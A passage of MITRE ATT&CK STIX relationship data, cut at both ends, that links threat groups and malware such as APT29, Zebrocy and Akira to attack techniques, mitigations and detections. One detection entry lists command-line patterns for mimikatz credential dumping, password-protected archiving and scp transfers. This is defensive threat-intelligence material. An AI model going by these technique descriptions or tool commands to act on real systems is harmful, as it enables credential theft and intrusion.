2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.672Z","description":"[APT17](https://attack.mitre.org/groups/G0025) has created and cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, [APT17](https://attack.mitre.org/groups/G0025) has created biographical sections and posted in forum threads.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd9b9c3a-544b-43e1-b4f4-aab6e646eb31","type":"relationship","created":"2019-06-20T17:01:21.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2019-07-17T01:18:33.386Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd9c0570-d19a-49b6-a354-d3eaa25b00f2","created":"2022-10-13T14:55:53.764Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:55:53.764Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can capture camera video as part of its collection process.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd9cf3cc-51cd-4f13-b90e-2b8e274a4cc1","created":"2021-03-29T16:39:26.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Security Context","description":"Kubernetes. (n.d.). Configure a Security Context for a Pod or Container. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"},{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.210Z","description":"Use read-only containers, read-only file systems, and minimal images when possible to prevent the execution of commands.(Citation: Kubernetes Hardening Guide) Where possible, also consider using application control and software restriction tools (such as those provided by SELinux) to restrict access to files, processes, and system calls in containers.(Citation: Kubernetes Security Context)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","source_name":"Symantec Tick Apr 2016"}],"modified":"2019-03-22T19:57:37.434Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdabe7d2-71e9-4f3e-9a29-9d45ca273cdd","created":"2024-10-07T22:34:17.327Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:34:17.327Z","description":"Implement Data Loss Prevention (DLP) solutions to monitor, detect, and control the flow of sensitive information. DLP tools can be configured to block unauthorized attempts to exfiltrate data, such as preventing emails from being forwarded to external recipients or monitoring for suspicious data transfers. By creating email flow rules and applying policies to detect anomalies, DLP solutions help mitigate the risk of data exfiltration over alternative protocols.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdaeae13-b9f2-4ae5-b4ae-c74fde73adcd","type":"relationship","created":"2019-06-05T17:05:57.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.403Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can collect data from a local system.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdb02bf4-a950-4ae7-b07c-a3ed0322ef6e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:25.851Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate Registry values, keys, and data.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdb054f1-0446-4af0-b11c-790fbf352014","type":"relationship","created":"2020-02-05T20:10:18.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T20:10:18.912Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdb22ee1-d90b-496b-a7f7-baf155a1930c","type":"relationship","created":"2021-03-01T14:07:36.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.538Z","description":"[LookBack](https://attack.mitre.org/software/S0582) has a function that decrypts malicious data.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdbb45a4-1151-4c21-909c-1c653c883544","type":"relationship","created":"2021-03-01T14:07:36.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.537Z","description":"[LookBack](https://attack.mitre.org/software/S0582) side loads its communications module as a DLL into the libcurl.dll loader.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdbd14e9-fffa-4120-a979-24eead47ffa4","created":"2022-01-10T19:52:49.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.935Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) uses JavaScript to perform its core functionalities.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdc0030c-ed38-49b0-afcc-266e19aa363e","type":"relationship","created":"2021-08-24T20:03:36.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T23:21:30.384Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can chain together multiple compromised machines as proxies to reach their final targets.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) supports execution from the command-line.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdc9c7e3-4467-4f57-af5b-156cf2f9d189","type":"relationship","created":"2019-01-30T18:58:04.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.938Z","description":"[Cannon](https://attack.mitre.org/software/S0351) adds the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to establish persistence.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdcd0f65-a087-453a-8f9f-ab8db0764492","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:53:01.209Z","description":"Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as RDP, telnet, SSH, and VNC. The adversary may then perform actions that spawn additional processes as the logged-on user.\n\nMalicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better blend in with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.\n\nAny tool of interest with commonly known command line usage can be detecting by command line analysis. Known substrings of command lines include\n\n- PuTTY\n- port forwarding -R * -pw\n- secure copy (scp) -pw * * *@*\n- mimikatz sekurlsa::\n- RAR * -hp *\n- Archive* a * Additionally, it may be useful to find IP addresses in the command line\n- \\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\n\nAnalytic 1 - Suspicious Arguments\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND \nCommandLine=\"-R .* -pw\" OR \nCommandLine=\"-pw .* .* .*@.*\" OR \nCommandLine=\"sekurlsa\" OR \nCommandLine=\" -hp \" OR \nCommandLine=\".* a .*\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.320Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has bypassed UAC.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdd3d41d-beca-4b12-9330-8f26dd82367c","created":"2023-03-26T14:57:31.894Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T14:57:31.894Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdd492a3-197b-4663-95c6-25d972dd7088","created":"2022-09-21T15:21:21.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:23:17.460Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used [Systeminfo](https://attack.mitre.org/software/S0096) to collect information on targeted hosts.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdd7f2b3-08e4-4f55-ba94-4b5e6d619da8","created":"2022-09-30T20:00:58.555Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:00:58.555Z","description":"[Misdat](https://attack.mitre.org/software/S0083) has used Windows APIs, including `ExitWindowsEx` and `GetKeyboardType`.(Citation: Cylance Dust Storm) ","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdde385f-3781-47fa-9cb7-ef7c5b903e63","type":"relationship","created":"2020-10-20T03:39:41.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:52:41.068Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdde7cd5-dd87-4280-b2df-6bd01fae8ea6","type":"relationship","created":"2021-09-28T18:53:02.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.319Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can capture screenshots that are initially saved as ‘scr.jpg’.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fde26c5e-7f17-4119-b5d1-86a7fbe4a184","created":"2024-04-04T18:02:50.559Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:02:50.559Z","description":"[Akira](https://attack.mitre.org/software/S1129) encrypts victim filesystems for financial extortion purposes.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fde62a7a-0ed1-4077-8275-ebb63eecdd2a","type":"relationship","created":"2020-03-17T17:23:51.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.133Z","description":"[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use silver tickets.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fde8c63b-13e7-47d0-836f-f8b5291bf2bd","created":"2022-09-26T15:21:10.923Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:21:10.923Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has the ability to discover application windows via execution of `EnumWindows`.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdea1dc1-4b00-411e-a5d3-cd72688237b5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.303Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) has downloaded and executed additional plugins.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fded4f08-6cb0-4259-a6a9-f0d62537164f","type":"relationship","created":"2020-05-21T12:59:00.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, 